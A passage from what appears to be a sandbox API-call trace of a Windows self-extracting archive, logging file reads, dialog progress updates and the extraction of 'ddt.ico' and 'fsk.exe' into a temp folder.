PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.931] GetTickCount () returned 0x1f9a9 [0067.931] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.931] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.931] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.931] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.931] GetTickCount () returned 0x1f9a9 [0067.931] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.931] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.931] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.931] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.932] GetTickCount () returned 0x1f9a9 [0067.932] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.932] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.932] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.932] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.932] GetTickCount () returned 0x1f9a9 [0067.932] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.932] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.932] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.932] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.932] GetTickCount () returned 0x1f9a9 [0067.932] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.932] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.932] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.932] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.932] GetTickCount () returned 0x1f9a9 [0067.932] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.932] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.932] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.932] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.932] GetTickCount () returned 0x1f9a9 [0067.932] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.932] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x15d, lpOverlapped=0x0) returned 1 [0067.933] GetTickCount () returned 0x1f9a9 [0067.933] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.933] SetFilePointer (in: hFile=0x1c, lDistanceToMove=471308, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0x7310c [0067.933] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0067.933] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0067.933] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0067.934] CloseHandle (hObject=0x138) returned 1 [0067.934] SetFileAttributesA (lpFileName="ddt.ico", dwFileAttributes=0x20) returned 1 [0067.935] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0x7310c [0067.935] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0067.935] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0067.935] OemToCharA (in: pSrc="fsk.exe", pDst=0x179cc0 | out: pDst="fsk.exe") returned 1 [0067.935] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="fsk.exe", cchCount2=1) returned 1 [0067.935] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="fsk.exe", cchCount2=6) returned 1 [0067.935] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="fsk.exe", cchCount2=-1) returned 1 [0067.935] SetFilePointer (in: hFile=0x1c, lDistanceToMove=471352, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0x73138 [0067.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="fsk.exe") returned 8 [0067.935] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x419eb8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0067.935] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting fsk.exe") returned 18 [0067.935] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting fsk.exe") returned 1 [0067.935] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0067.935] OemToCharBuffA (in: lpszSrc="f", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="f") returned 1 [0067.935] CharToOemBuffA (in: lpszSrc="F", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="F") returned 1 [0067.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="fsk.exe") returned 8 [0067.935] FindFirstFileW (in: lpFileName="fsk.exe", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0067.935] GetLastError () returned 0x2 [0067.935] GetFileAttributesA (lpFileName="fsk.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fsk.exe")) returned 0xffffffff [0067.935] CreateFileA (lpFileName="fsk.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fsk.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0067.936] GetFileType (hFile=0x138) returned 0x1 [0067.936] SetFilePointer (in: hFile=0x138, lDistanceToMove=893608, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0xda2a8 [0067.936] SetEndOfFile (hFile=0x138) returned 1 [0067.936] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0067.936] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x8000, lpOverlapped=0x0) returned 1 [0067.936] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x39, lParam=0x0) returned 0x35 [0067.936] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.936] GetTickCount () returned 0x1f9a9 [0067.936] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.940] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.941] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x3d, lParam=0x0) returned 0x39 [0067.941] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.941] GetTickCount () returned 0x1f9b9 [0067.941] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.941] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a4, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a4*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.942] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x40, lParam=0x0) returned 0x3d [0067.942] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.942] GetTickCount () returned 0x1f9b9 [0067.942] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.942] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a3, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a3*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.942] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x44, lParam=0x0) returned 0x40 [0067.942] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.943] GetTickCount () returned 0x1f9b9 [0067.943] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.943] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.943] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x48, lParam=0x0) returned 0x44 [0067.943] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.943] GetTickCount () returned 0x1f9b9 [0067.943] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.944] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.944] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x4b, lParam=0x0) returned 0x48 [0067.944] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.944] GetTickCount () returned 0x1f9b9 [0067.944] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.945] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a3, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a3*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.945] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x4f, lParam=0x0) returned 0x4b [0067.945] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.945] GetTickCount () returned 0x1f9b9 [0067.945] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.945] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.945] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x53, lParam=0x0) returned 0x4f [0067.945] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.945] GetTickCount () returned 0x1f9b9 [0067.945] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.946] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a3, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a3*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.946] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x57, lParam=0x0) returned 0x53 [0067.946] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.946] GetTickCount () returned 0x1f9b9 [0067.946] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.947] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a4, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a4*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.947] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x5a, lParam=0x0) returned 0x57 [0067.947] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.947] GetTickCount () returned 0x1f9b9 [0067.947] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.948] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a2, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a2*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.948] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x5e, lParam=0x0) returned 0x5a [0067.948] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.948] GetTickCount () returned 0x1f9b9 [0067.948] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.948] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x5d96, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x5d96, lpOverlapped=0x0) returned 1 [0067.948] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x5e [0067.948] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.948] GetTickCount () returned 0x1f9b9 [0067.948] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.949] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.949] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.949] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.949] GetTickCount () returned 0x1f9b9 [0067.949] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.949] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.949] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.949] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.949] GetTickCount () returned 0x1f9b9 [0067.949] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.949] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.949] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.949] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.949] GetTickCount () returned 0x1f9b9 [0067.949] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.949] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.949] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.949] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.949] GetTickCount () returned 0x1f9b9 [0067.949] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.949] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.949] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.949] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.949] GetTickCount () returned 0x1f9b9 [0067.949] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.949] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.949] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.949] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.949] GetTickCount () returned 0x1f9b9 [0067.949] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.949] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.949] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.949] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.949] GetTickCount () returned 0x1f9b9 [0067.949] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.949] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.949] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.950] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.950] GetTickCount () returned 0x1f9b9 [0067.950] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.950] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.950] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.950] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.950] GetTickCount () returned 0x1f9b9 [0067.950] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.950] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.950] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.950] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.950] GetTickCount () returned 0x1f9b9 [0067.950] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, 